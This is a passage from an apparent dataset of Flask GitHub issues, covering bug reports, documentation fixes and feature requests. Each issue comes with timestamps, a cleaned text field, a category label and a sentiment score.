from concurrent.futures import ThreadPoolExecutor
import threading

@copy_current_request_context
def function_a(number):
    print(threading.current_thread().ident)
    time.sleep(1)
    return number

def start():
    with ThreadPoolExecutor(max_workers=5) as executor:
        response = list(executor.map(function_a, [1, 2]))
    return response
```

when i request this api , it will appear ""AssertionError: Popped wrong app context. (&lt;flask.ctx.AppContext object at 0x00000167CB79A3C8&gt; instead of &lt;flask.ctx.AppContext object at 0x00000167CB79A668&gt;) // Werkzeug Debugger"", how to resolve it?  thanks!",,2024-01-28 13:40:14+00:00,2024-01-28 16:34:50+00:00,0,nan,0.1212,use threadpoolexecutor and copy current request context in flask will appear some bug in app py file in test file when i request this api it will appear assertionerror popped wrong app context lt flask ctx appcontext object at x cb a c gt instead of lt flask ctx appcontext object at x cb a gt werkzeug debugger how to resolve it thanks,bug,0.3612
pallets/flask,2101850501,"Issue matching route with methods=['OPTIONS'] when similar route appears later using ['GET', 'POST']","With routing setup like this:

```
class ApiHandler:

  @route_with('/<regex(""(.*)""):path>', methods = ['OPTIONS'])
  def cors(self, path):
    # Send custom CORS headers
    # This should be matched for any request
    return make_response('OK', 200)

  @route_with('/post/<regex(""(.*)""):id>', methods = ['GET', 'POST'])
  def post(self, id):
    # This should only be matched on GET / POST for ""/post/<id>""
    return make_response('You are at the post', 200)
```

The `cors` handler never gets run if an `OPTIONS` request is made to `/post/123` with the above setup.

Instead, strangely, a blank `200` reponse is returned (with no logs besides the single request entry shown in the logs).

If an `OPTIONS` request is made to any other URL (or if the `post` handler is commented out), the `cors` handler is correctly run.

I've tried running this in multiple Flask version all the way from `1.1.4` to `3.0.1`, to no avail.

This appears to be a bug in Flask's / Werkzeug's routing.

Anyone encountered something similar or have any suggestions on what I can do to diagnose / fix?",,2024-01-26 09:10:12+00:00,2024-01-26 15:14:49+00:00,3,nan,0.2532,issue matching route with methods options when similar route appears later using get post with routing setup like this the handler never gets run if an request is made to with the above setup instead strangely a blank reponse is returned with no logs besides the single request entry shown in the logs if an request is made to any other url or if the handler is commented out the handler is correctly run i ve tried running this in multiple flask version all the way from to to no avail this appears to be a bug in flask s werkzeug s routing anyone encountered something similar or have any suggestions on what i can do to diagnose fix,bug,-0.5574
pallets/flask,2098419369,Invalid `SERVER_NAME` + `url_for` leads to `AttributeError`,"In our environment we have some security scanners running which generate artificial HTTP requests. Since they are closed source and I can't generate these calls with other tools, I created the below example which starts at the flask level and assumes that an invalid server passed thru the levels. 

```py
from flask import Flask, url_for

app = Flask(__name__)

@app.errorhandler(400)
def do_400(e):
    url_for(""foo"")
    return ""error"", 400


res = app(
    {
        ""ACTUAL_SERVER_PROTOCOL"": ""HTTP/1.1"",
        ""PATH_INFO"": ""/"",
        ""QUERY_STRING"": """",
        ""REQUEST_METHOD"": ""GET"",
        ""REQUEST_URI"": ""/"",
        ""SCRIPT_NAME"": """",
        ""SERVER_NAME"": ""foobar/.."",
        ""SERVER_PROTOCOL"": ""HTTP/1.1"",
        ""wsgi.url_scheme"": ""https"",
    },
    lambda x, y: None,
)
```

Error

```
Traceback (most recent call last):
  File ""work/venv/lib/python3.12/site-packages/werkzeug/routing/map.py"", line 258, in bind
    server_name = server_name.encode(""idna"").decode(""ascii"")
                  ^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "".pyenv/versions/3.12.0/lib/python3.12/encodings/idna.py"", line 173, in encode
    raise UnicodeError(""label empty or too long"")
UnicodeError: label empty or too long
encoding with 'idna' codec failed

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File ""work/venv/lib/python3.12/site-packages/flask/app.py"", line 1484, in full_dispatch_request
 ... [TRUNCATED]",,2024-01-24 14:41:08+00:00,2024-03-30 21:17:49+00:00,5,nan,66.2755,invalid leads to in our environment we have some security scanners running which generate artificial http requests since they are closed source and i can t generate these calls with other tools i created the below example which starts at the flask level and assumes that an invalid server passed thru the levels error traceback most recent call last file work venv lib python site packages werkzeug routing map py line in bind server name server name encode idna decode ascii file pyenv versions lib python encodings idna py line in encode raise unicodeerror label empty or too long unicodeerror label empty or too long encoding with idna codec failed the above exception was the direct cause of the following exception traceback most recent call last file work venv lib python site packages flask app py line in full dispatch request truncated,bug,-0.6705
pallets/flask,2097490014,Flask 3.0.1 breaks path-separated command line arguments,"In a minimal flask app, running `flask run --extra-files=` or using any other argument that internally uses `SeparatedPathType` results in `TypeError: super(type, obj): obj must be an instance or subtype of type`



1. Create a minimal flask application (follow [the Quickstart](https://flask.palletsprojects.com/en/3.0.x/quickstart/#a-minimal-application)).
2. Install flask==3.0.1 (this bug is not reproducible with 3.0.0 AFAIK)
3. Run `flask run --extra-files=a`

**Expected Behavior:**
The server should start up.

**Actual Behavior:**
The command raises a `Type Error` and exits with code 1

<details><summary>Full Traceback</summary>

```
Traceback (most recent call last):
  File "".../flask-cli-bug/..venv/bin/flask"", line 8, in <module>
    sys.exit(main())
             ^^^^^^
  File "".../flask-cli-bug/..venv/lib/python3.11/site-packages/flask/cli.py"", line 1105, in main
    cli.main()
  File "".../flask-cli-bug/..venv/lib/python3.11/site-packages/click/core.py"", line 1078, in main
    rv = self.invoke(ctx)
         ^^^^^^^^^^^^^^^^
  File "".../flask-cli-bug/..venv/lib/python3.11/site-packages/click/core.py"", line 1686, in invoke
    sub_ctx = cmd.make_context(cmd_name, args, parent=ctx)
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "".../flask-cli-bug/..venv/lib/python3.11/site-packages/click/core.py"", line 943, in make_context
    self.parse_args(ctx, args)
  File "".../flask-cli-bug/..venv/lib/python3.11/site-packages/click/cor... [TRUNCATED]",,2024-01-24 06:04:30+00:00,2024-02-03 21:12:26+00:00,2,nan,10.6305,flask breaks path separated command line arguments in a minimal flask app running or using any other argument that internally uses results in create a minimal flask application follow the quickstart install flask this bug is not reproducible with afaik run the server should start up the command raises a and exits with code full traceback traceback most recent call last file flask cli bug venv bin flask line in sys exit main file flask cli bug venv lib python site packages flask cli py line in main cli main file flask cli bug venv lib python site packages click core py line in main rv self invoke ctx file flask cli bug venv lib python site packages click core py line in invoke sub ctx cmd make context cmd name args parent ctx file flask cli bug venv lib python site packages click core py line in make context self parse args ctx args file flask cli bug venv lib python site packages click cor truncated,others,-0.981
pallets/flask,2096493518,jinja_loader type bug,"I have
```Python
from jinja2 import ChoiceLoader, FileSystemLoader


app.jinja_loader = ChoiceLoader([
    FileSystemLoader(project_dir / 'templates/'),
    app.jinja_loader,
])
```

There is a mypy error
```
error: Incompatible types in assignment (expression has type ""ChoiceLoader"", variable has type ""FileSystemLoader | None"")  [assignment]
error: List item 1 has incompatible type ""FileSystemLoader | None""; expected ""BaseLoader""  [list-item]
```

There shouldn't be an error.

Environment:

- Python version: 3.12.1
- Flask version: 3.0.1
",,2024-01-23 16:34:25+00:00,2024-02-03 20:18:53+00:00,0,nan,11.1559,jinja loader type bug i have there is a mypy error there shouldn t be an error environment python version flask version,bug,-0.8402
pallets/flask,2082274791,Session data is not untagged properly when using other JSON providers,"Providers such as `orjson` and `ujson` do not implement `object_hook`. The ""tagged JSON"" scheme used to encode types for session data currently calls `loads(data, object_hook=...)`, so providers that ignore that option return the data still tagged. Untagging needs to be implemented without using `object_hook`.",,2024-01-15 15:38:32+00:00,2024-01-15 15:52:44+00:00,0,nan,0.0099,session data is not untagged properly when using other json providers providers such as and do not implement the tagged json scheme used to encode types for session data currently calls so providers that ignore that option return the data still tagged untagging needs to be implemented without using,others,-0.4144
pallets/flask,2080228228,Improve error messages on simple after request hook bugs,"When a user forgets to return the response in an `after_request` hook, the message is particularly unhelpful as it does not point to the involvement of the hook:

```python
from flask import Flask
app = Flask(""test"")

# oops
app.after_request(lambda _: None)

@app.get(""/hello"")
def get_hello():
    return ""hello world!"", 200
```

Run:
```sh
flask --debug -A app run
curl -si -X GET http://0.0.0.0:5000/hello
```

Results in:
```
TypeError

TypeError: 'NoneType' object is not callable
Traceback (most recent call last)

    File ""/home/fabien/tmp/test/venv/lib/python3.12/site-packages/flask/app.py"", line 1478, in __call__

    return self.wsgi_app(environ, start_response)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

    File ""/home/fabien/tmp/test/venv/lib/python3.12/site-packages/flask/app.py"", line 1462, in wsgi_app

    return response(environ, start_response)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

    TypeError: 'NoneType' object is not callable
```

I suggest that the error message *should* point to the involvement of the after request hook.",,2024-01-13 10:24:40+00:00,2024-01-15 15:55:44+00:00,1,nan,2.2299,improve error messages on simple after request hook bugs when a user forgets to return the response in an hook the message is particularly unhelpful as it does not point to the involvement of the hook run results in i suggest that the error message should point to the involvement of the after request hook,bug,-0.4767
pallets/flask,2077124113,Donating Funds to Flask,"Hi Flask maintainers. I'm Lucas, a core contributor to the Drips project (drips dot network). I help recipients of donations through their learning and onboarding process.

Octant (octant dot build) (a project from the Golem Foundation) has been using https://github.com/pallets/flask. It's one of their most critical dependencies!

Octant’s core contributors appreciate the work you all do and want to make sure that you are all well-funded to keep doing it. For that reason, they have decided to donate some funds to your project through Drips.

Who can I talk to about it?",,2024-01-11 16:37:28+00:00,2024-01-11 16:58:30+00:00,3,nan,0.0146,donating funds to flask hi flask maintainers i m lucas a core contributor to the drips project drips dot network i help recipients of donations through their learning and onboarding process octant octant dot build a project from the golem foundation has been using it s one of their most critical dependencies octant s core contributors appreciate the work you all do and want to make sure that you are all well funded to keep doing it for that reason they have decided to donate some funds to your project through drips who can i talk to about it,others,0.7584
pallets/flask,2061399872,Can I contribute ,"Hi I'm @Yuheshpandian. I love Flask and its capabilities, in fact when I wanted to learn _web dev_ , with only the knowledge of `Python`, I went for Flask without hesitation. I had made some projects using Flask, also a modern boilerplate for `flask` projects. Now I wanted to Contribute to my go to web framework in Python. 

I just want to contribute and make changes in the README.md/Documetation.

Thank You",,2024-01-01 08:03:59+00:00,2024-01-01 10:04:36+00:00,6,nan,0.0838,can i contribute hi i m yuheshpandian i love flask and its capabilities in fact when i wanted to learn web dev with only the knowledge of i went for flask without hesitation i had made some projects using flask also a modern boilerplate for projects now i wanted to contribute to my go to web framework in python i just want to contribute and make changes in the readme md documetation thank you,others,0.8322
pallets/flask,2060928389,"I'm seeing ""GET /socket.io/?EIO=3&transport=polling&t=OozzqO3 HTTP/1.1"" 404 errors running a simple flask app","I created a ""Hello World"" flask app (which can be found here: https://github.com/dhylands/flask-hello/tree/main

If I create a virtual environment and install flask and then do `flask run` I get the following output:
```
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://127.0.0.1:5000
Press CTRL+C to quit
127.0.0.1 - - [30/Dec/2023 19:42:28] ""GET /socket.io/?EIO=3&transport=polling&t=OozzqO3 HTTP/1.1"" 404 -
127.0.0.1 - - [30/Dec/2023 19:42:33] ""GET /socket.io/?EIO=3&transport=polling&t=OozzrcF HTTP/1.1"" 404 -
127.0.0.1 - - [30/Dec/2023 19:42:33] ""GET /socket.io/?EIO=3&transport=polling&t=OozzrcI HTTP/1.1"" 404 -
127.0.0.1 - - [30/Dec/2023 19:42:38] ""GET /socket.io/?EIO=3&transport=polling&t=OozzsqT HTTP/1.1"" 404 -
```

<!--
Describe the expected behavior that should have happened but didn't.
-->

I'd expect to not see errors/warnings about socket.io

Environment:
 - Pop_OS! (aka ubuntu) 22.04 LTS
- Python version:  Python 3.10.12
- Flask version: 3.0.0

pip freeze reports:
```
blinker==1.7.0
click==8.1.7
Flask==3.0.0
itsdangerous==2.1.2
Jinja2==3.1.2
MarkupSafe==2.1.3
Werkzeug==3.0.1
```",,2023-12-31 03:47:40+00:00,2023-12-31 04:11:31+00:00,2,nan,0.0166,i m seeing get socket io eio transport polling t oozzqo http errors running a simple flask app i created a hello world flask app which can be found here if i create a virtual environment and install flask and then do i get the following output describe the that should have happened but didn t i d expect to not see errors warnings about socket io environment pop os aka ubuntu lts python version python flask version pip freeze reports,bug,0.5076
pallets/flask,2059048809,Edit required in documentation: https://flask.palletsprojects.com/en/3.0.x/patterns/javascript/ #Replacing Content,"<!--
This is code example given in documentation:

<div id=""geology-fact"">
    {{ include ""geology_fact.html"" }}
</div>
-->

<!--
The inner curly braces should be replaced with percentage signs:
<div id=""geology-fact"">
    {% include ""geology_fact.html"" %}
</div>
-->

<!--
The example code is meant to allow a portion of the content to be replaced. The current version with double curly brackets results in a error when running. The documentation needs to be updated to reflect the correct syntax.
-->

Environment:

- Python version:
- Flask version: 3.0.x
",,2023-12-29 04:16:19+00:00,2023-12-29 04:38:13+00:00,0,nan,0.0152,edit required in documentation replacing content this is code example given in documentation include geology fact html the inner curly braces should be replaced with percentage signs include geology fact html the example code is meant to allow a portion of the content to be replaced the current version with double curly brackets results in a error when running the documentation needs to be updated to reflect the correct syntax environment python version flask version x,documentation,-0.2732
pallets/flask,2054888909,Application Setup Tutorial doesn't work,"### Description
If you try to run the Flask application by following this tutorial it doesn't work: https://flask.palletsprojects.com/en/3.0.x/tutorial/factory/

### Suggested solution
In my personal project, I created an app.py file and in there I pasted the following code:

```
from flaskr import create_app

app = create_app()

if __name__ == '__main__':
    app.run()
```
    
I run this file and the Flask app can initialize.",,2023-12-23 20:21:04+00:00,2023-12-23 20:38:22+00:00,1,nan,0.012,application setup tutorial doesn t work description if you try to run the flask application by following this tutorial it doesn t work suggested solution in my personal project i created an app py file and in there i pasted the following code i run this file and the flask app can initialize,documentation,0.5106
pallets/flask,2053204942,GPU performance issues of flask framework,"When I loaded an ultralytics YOLO model outside the framework, I read the image from the client in a request processing function and performed inference. I found that the inference speed was 10 times slower than normal.
I don’t have this problem when I use fastapi.

```python
from flask import Flask, request

from ultralytics import YOLO
import cv2
import numpy
import base64
model = YOLO(""/workspace/yolov8s.pt"")
def b64_cv(frame_b64):
    return cv2.imdecode(numpy.frombuffer(base64.b64decode(frame_b64), numpy.uint8), cv2.IMREAD_COLOR)

app = Flask(__name__)

@app.route('/frame', methods=['POST'])
def read_item():
    data = request.json
    frame = data.get('frame', None)
    
    results = model(source=b64_cv(frame))

    return {}

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)
```

```python
import requests
import cv2
import numpy
import base64

def cv_b64(frame_cv):
    return str(base64.b64encode(cv2.imencode("".jpg"", frame_cv)[1]))[2:-1]

while True:
    stream = cv2.VideoCapture(""/workspace/road_30_1920x1080.mp4"")
    while stream.isOpened():
        ret, frame = stream.read()
        if not ret: break

        data = {""frame"": cv_b64(frame)}
        response = requests.post(url=""http://127.0.0.1:8000/frame"", json=data)

```

Environment:

- Python version: 3.10.12
- Flask version: 3.0.0
",,2023-12-22 00:22:59+00:00,2023-12-22 01:55:38+00:00,0,nan,0.0643,gpu performance issues of flask framework when i loaded an ultralytics yolo model outside the framework i read the image from the client in a request processing function and performed inference i found that the inference speed was times slower than normal i don t have this problem when i use fastapi environment python version flask version,bug,-0.2558
pallets/flask,2045435506,Getting Error - TemplateNotFound(template),"Getting below error though I placed the templates in right place and right directory.

""jinja2.exceptions.TemplateNotFound: auth/register.html""


I followed the instructions until the end of below page and tried to run my flask app
https://flask.palletsprojects.com/en/3.0.x/tutorial/templates/

Got the above error.



Expected to see register page without any errors
http://127.0.0.1:5000/auth/register


Environment:

- Python version: 3.11
- Flask version: 3.0.0
",,2023-12-18 00:00:19+00:00,2023-12-18 00:01:57+00:00,0,nan,0.0011,getting error templatenotfound template getting below error though i placed the templates in right place and right directory jinja exceptions templatenotfound auth register html i followed the instructions until the end of below page and tried to run my flask app got the above error expected to see register page without any errors environment python version flask version,bug,-0.7884
pallets/flask,2038740869,cli::ScriptInfo in versions >2.2.0 does not read FLASK_APP environment variable when invoked from command line,"<!--
https://github.com/pallets/flask/commit/99fa3c36abc03cd5b3407df34dce74e879ea377a#diff-fed8939d1905b99bba605ad91e9ccdf5ede6223e03ccbc3f0121853035051e62L343 removed the ability to invoke CLI commands directly using `python -m`
-->

https://github.com/pallets/flask/commit/99fa3c36abc03cd5b3407df34dce74e879ea377a#diff-fed8939d1905b99bba605ad91e9ccdf5ede6223e03ccbc3f0121853035051e62L343 removed the ability to invoke CLI commands directly using `python -m` by setting `FLASK_APP`

Pre 2.2.0 this works
```
$ FLASK_APP=myapp.commands.foo python3 -m myapp.commands.foo US
```
-->

After 2.2.0 it fails like

```
$ FLASK_APP=myapp.commands.foo python3 -m myapp.commands.foo US

'FLASK_ENV' is deprecated and will not be used in Flask 2.3. Use 'FLASK_DEBUG' instead.
Usage: python -m myapp.commands.foo 
           [OPTIONS] COUNTRY_CODE
Try 'python -m mayapp.commands.foo --help' for help.

Error: Could not locate a Flask application. Use the 'flask --app' option, 'FLASK_APP' environment variable, or a 'wsgi.py' or 'app.py' file in the current directory.
```

This is especially confusing because Flask was able to parse CLI options.

E.g. of a file `myapp.commands.foo.py`

```python
import click
from flask import Flask

app = Flask(__name__)

@app.cli.command(""foo"")
@click.argument(""country_code"")
def main(country_code: str, **kwargs):
    print(""I want this to work so bad"")


if __name__ == ""__main__"":
    main()
```


Expected behavior:
[Scr... [TRUNCATED]",,2023-12-13 00:25:07+00:00,2023-12-13 01:22:39+00:00,1,nan,0.04,cli scriptinfo in versions does not read flask app environment variable when invoked from command line removed the ability to invoke cli commands directly using removed the ability to invoke cli commands directly using by setting pre this works after it fails like this is especially confusing because flask was able to parse cli options e g of a file scr truncated,others,0.2748
pallets/flask,2036065551,Can't run tests without installing it,"An attempt to run test without installing flask leads to fail:
```
:info:test cls = <class 'importlib.metadata.Distribution'>, name = 'flask'
:info:test     @classmethod
:info:test     def from_name(cls, name):
:info:test         """"""Return the Distribution for the given package name.
:info:test     
:info:test         :param name: The name of the distribution package to search for.
:info:test         :return: The Distribution instance (or subclass thereof) for the named
:info:test             package, if found.
:info:test         :raises PackageNotFoundError: When the named package's distribution
:info:test             metadata cannot be found.
:info:test         """"""
:info:test         for resolver in cls._discover_resolvers():
:info:test             dists = resolver(DistributionFinder.Context(name=name))
:info:test             dist = next(dists, None)
:info:test             if dist is not None:
:info:test                 return dist
:info:test         else:
:info:test >           raise PackageNotFoundError(name)
:info:test E           importlib.metadata.PackageNotFoundError: flask
:info:test /opt/local/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/importlib/metadata.py:177: PackageNotFoundError
:info:test ========================================================================================== short test summary info ==========================================================================================
:info:test FAILED tests/test... [TRUNCATED]",,2023-12-11 16:32:58+00:00,2023-12-11 17:39:08+00:00,1,nan,0.0459,can t run tests without installing it an attempt to run test without installing flask leads to fail info test cls name flask info test classmethod info test def from name cls name info test return the distribution for the given package name info test info test param name the name of the distribution package to search for info test return the distribution instance or subclass thereof for the named info test package if found info test raises packagenotfounderror when the named package s distribution info test metadata cannot be found info test info test for resolver in cls discover resolvers info test dists resolver distributionfinder context name name info test dist next dists none info test if dist is not none info test return dist info test else info test raise packagenotfounderror name info test e importlib metadata packagenotfounderror flask info test opt local library frameworks python framework versions lib python importlib metadata py packagenotfounderror info test short test summary info info test failed tests test truncated,others,-0.3612
pallets/flask,2035317544,JavaScript .js file content type default is text/javascript but could be application/javascript,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

Replication: serve a static `.js` file from a directory.


```
$ cat app.py
from flask import Flask, send_from_directory

app = Flask(__name__)

@app.route(""/static/<path:path>"")
def route_static(path):
    """"""/static/""""""
    return send_from_directory(""static"", path)

if __name__ == ""__main__"":
    app.run(debug=True)

```

```
cat static/x.js 
/*example*/

```


<!--
Describe the expected behavior that should have happened but didn't.
-->

The behavior I get is 
```
Content-Type
	text/javascript; charset=utf-8
```

I would expect
```
Content-Type
	application/javascript; charset=utf-8
```

See https://stackoverflow.com/a/189877/1320237

---

Environment:

- Python version: 3.11.6
- Flask version: 3.0.0

```
$ pip list
Package      Version
------------ -------
blinker      1.7.0
click        8.1.7
Flask        3.0.0
itsdangerous 2.1.2
Jinja2       3.1.2
MarkupSafe   2.1.3
pip          23.2
setuptools   68.2.2
Werkzeug     3.0.1
wheel        0.41.2
```
",,2023-12-11 10:18:02+00:00,2023-12-11 13:42:49+00:00,1,nan,0.1422,javascript js file content type default is text javascript but could be application javascript this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception replication serve a static file from a directory describe the that should have happened but didn t the behavior i get is i would expect see environment python version flask version,others,-0.8807
pallets/flask,2031892232,Tutorial Database code doesn't work,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->
Follow the Tutorial doc through the ""Define and Access the Database"" doc. When you try and initialize the db, you will be greeted with an error

`AttributeError: 'AppGroup' object has no attribute 'add_command'`

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version:
- Flask version:
",,2023-12-08 04:06:04+00:00,2023-12-08 04:44:09+00:00,1,nan,0.0264,tutorial database code doesn t work this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception follow the tutorial doc through the define and access the database doc when you try and initialize the db you will be greeted with an error describe the that should have happened but didn t environment python version flask version,documentation,-0.5927
pallets/flask,2028625504,jsonify does not support integer keys,"The snippets below are self-descriptive and reflect the problem mentioned in the title.

Expected behavior: jsonify builds a response irrespective of the key/value data types (at least for basic types like int and str)  

Actual behavior: keys of type `int` break `jsonify`  

Personal suggestion: just typecast to str, but issue a warning


Minimal code to reproduce the issue:

```
from flask import Flask, jsonify
import json

d={32: ""aa"", ""something"":""else""}

print(json.dumps(d)) # works # <-------

app = Flask('app')

# app.config['JSON_SORT_KEYS'] = False  #<-- makes no difference

with app.app_context():
    print(jsonify(d)) # b0rks # <-------
```


Error log:
```
TypeError                                 Traceback (most recent call last)
<ipython-input-12-d8fbf48063d9> in <module>
      1 with app.app_context():
----> 2     jsonify(d)
      3

~/.local/lib/python3.10/site-packages/flask/json/__init__.py in jsonify(*args, **kwargs)
    168     .. versionadded:: 0.2
    169     """"""
--> 170     return current_app.json.response(*args, **kwargs)

~/.local/lib/python3.10/site-packages/flask/json/provider.py in response(self, *args, **kwargs)
    213
    214         return self._app.response_class(
--> 215             f""{self.dumps(obj, **dump_args)}\n"", mimetype=self.mimetype
    216         )

~/.local/lib/python3.10/site-packages/flask/json/provider.py in dumps(self, obj, **kwargs)
    178         kwargs.setdefault(""ensure_asci... [TRUNCATED]",,2023-12-06 13:59:05+00:00,2023-12-06 14:55:56+00:00,1,nan,0.0395,jsonify does not support integer keys the snippets below are self descriptive and reflect the problem mentioned in the title jsonify builds a response irrespective of the key value data types at least for basic types like int and str keys of type break personal suggestion just typecast to str but issue a warning minimal code to reproduce the issue error log typeerror traceback most recent call last in with app app context jsonify d local lib python site packages flask json init py in jsonify args kwargs versionadded return current app json response args kwargs local lib python site packages flask json provider py in response self args kwargs return self app response class f self dumps obj dump args n mimetype self mimetype local lib python site packages flask json provider py in dumps self obj kwargs kwargs setdefault ensure asci truncated,help,-0.9352
pallets/flask,2024425400,Cannot import Markup from flask (v3.0.0) ,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

As [previously reported](https://github.com/pallets/flask/issues/5084). 

### A

```python
import flask

print(flask.Markup('hi'))
```

 

```text
Traceback (most recent call last):
  File ""/tmp/fl/mu1.py"", line 3, in <module>
    print(flask.Markup('hi'))
  File ""/tmp/fl/.venv/lib/python3.10/site-packages/flask/__init__.py"", line 60, in __getattr__
    raise AttributeError(name)
AttributeError: Markup
```

### B
```python
from flask import Markup

print(Markup('hi'))
```
 
```
Traceback (most recent call last):
  File ""/tmp/fl/mu2.py"", line 1, in <module>
    from flask import Markup
ImportError: cannot import name 'Markup' from 'flask' (/tmp/fl/.venv/lib/python3.10/site-packages/flask/__init__.py)
```

<!--
Describe the expected behavior that should have happened but didn't.
-->



Environment:

- Python version: 3.10.12
- Flask version: 3.0.0
- (and flask-misaka-1.0.0 but I don't think that's relevant) 
",,2023-12-04 18:01:45+00:00,2023-12-04 18:07:20+00:00,1,nan,0.0039,cannot import markup from flask v this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception as previously reported a b describe the that should have happened but didn t environment python version flask version and flask misaka but i don t think that s relevant,others,-0.5267
pallets/flask,2012043860,flask -A flaskr init-db Error: Could not import 'flaskr.flaskr'.  Usage: flask [OPTIONS] COMMAND [ARGS]... Try 'flask --help' for help.  Error: No such command 'init-db'.,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

-->
Following the tutorial in the website. When I ran flask --app flaskr init-db, it returned the error
<!--
Initialized the database.
-->

Environment:

- Python version: 3.12.0
- Flask version: Flask==3.0.0
",,2023-11-27 11:13:48+00:00,2023-11-27 14:39:45+00:00,2,nan,0.143,flask a flaskr init db error could not import flaskr flaskr usage flask options command args try flask help for help error no such command init db this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is describe how to replicate the bug following the tutorial in the website when i ran flask app flaskr init db it returned the error initialized the database environment python version flask version flask,bug,-0.8625
pallets/flask,2012008928, cannot import name '_request_ctx_stack' from 'flask',"
I am trying to run my webserver with Flask and Flask-Socket.io I have set up socket.io and flask right but for some reason when running it with Docker. I get the error: cannot import name '_request_ctx_stack' from 'flask'.  Am using Flask version 2.3.3 and the latest Flask-Socket.io



Install both Flask and Flask-Socket.io create a Dockerfile to build the app and add docker-compose to handle the build using docker-compose up. 

Here's the code you can use:
```
from flask import Flask

from flask_socketio import SocketIO
from src.db.init import DbInit
from src.manager.sockets import SocketManager
from src.routes import heath_route as hr
from src.routes import docs_routes as dr
from src.routes import query_route as qr
from decouple import config

app = Flask(__name__)

# Register the blueprints
app.register_blueprint(hr.health_bp, url_prefix='/api')
app.register_blueprint(dr.files_bp, url_prefix='/api')
app.register_blueprint(qr.query_bp, url_prefix='/api')

# SocketIO.app(socketio, app=app, path=""/io"", cors_allowed_origins=""*"")
socketio = SocketIO(app, cors_allowed_origins=""*"")
db = DbInit.get_instance()
manager = SocketManager(socketio, db)


def start_app():
    """"""Start the application""""""
    port = config(""PORT"", 5050)
    host = config(""HOST"", ""0.0.0.0"")
    env = config(""ENVIRONMENT"", ""development"")
    if env == ""development"":
        socketio.run(host=host, app=app, port=port, debug=True, use_reloader=True)
    else:
        so... [TRUNCATED]",,2023-11-27 10:53:55+00:00,2023-11-27 11:53:39+00:00,6,nan,0.0415,cannot import name request ctx stack from flask i am trying to run my webserver with flask and flask socket io i have set up socket io and flask right but for some reason when running it with docker i get the error cannot import name request ctx stack from flask am using flask version and the latest flask socket io install both flask and flask socket io create a dockerfile to build the app and add docker compose to handle the build using docker compose up here s the code you can use from flask import flask from flask socketio import socketio from src db init import dbinit from src manager sockets import socketmanager from src routes import heath route as hr from src routes import docs routes as dr from src routes import query route as qr from decouple import config app flask name register the blueprints app register blueprint hr health bp url prefix api app register blueprint dr files bp url prefix api app register blueprint qr query bp url prefix api socketio app socketio app app path io cors allowed origins socketio socketio app cors allowed origins db dbinit get instance manager socketmanager socketio db def start app start the application port config port host config host env config environment development if env development socketio run host host app app port port debug true use reloader true else so truncated,feature,0.7227
pallets/flask,2010932683,Code style inconsistency,"https://github.com/pallets/flask/blob/main/src/flask/cli.py#L724

In cli.py `{var_name!r}` style to wrap variables values in quotes is everywhere except the line 724",,2023-11-26 07:35:07+00:00,2023-11-26 14:18:28+00:00,0,nan,0.2801,code style inconsistency in cli py style to wrap variables values in quotes is everywhere except the line,others,0.4019
pallets/flask,2010144893,The double quote is missing in the string,"https://github.com/pallets/flask/blob/d61198941adcb191ddb591f08d7d912e40bde8bc/src/flask/cli.py#L798

There is no double quote in the first argument of `click.BadParameter` `""--key is not used`.",docs,2023-11-24 19:18:05+00:00,2023-12-13 23:06:57+00:00,0,docs,19.1589,the double quote is missing in the string there is no double quote in the first argument of,documentation,-0.7096
pallets/flask,2009640209,Add OpenAPI functionality ,"
As of today, Fast api and Flask are more preferred framework to develop microservice and service mesh architecture. 
Flask is more preferred for below points:
1. microservice architecture
2. more extension available in community than others as its bit matured.  

I really like the simplicity flask has. But in recent days Flask is loosing to FastAPI.

Biggest CON of flask is its **incompatibility** with OpenAPI/documentation capability. 
Being an Architect, my whole org has moved to FastAPI for a simple reason OpenAPI integration and documentation. As it helps us save on maintaining more than 30+ product API documentation. Earlier we were using 3rd party tools to maintain these documentation.    

It would really help flask gain more ability if we can add openapi specification just like fast api. 
I understand the same [feature request](https://github.com/pallets/flask/issues/4315) was raised in back in 2021 but I believe being in technology domain we have keep ourselves updated. Same goes with the web framework as well. 

To illustrate few, Django is adding capability to have microservice support. why? its to keep them updated with latest requirement.

Out of Django, Flask and FastAPI only Flask is not having OpenAPI support. 

I know there are library available in community which can do this but having it natively available in flask bring more confidence.   


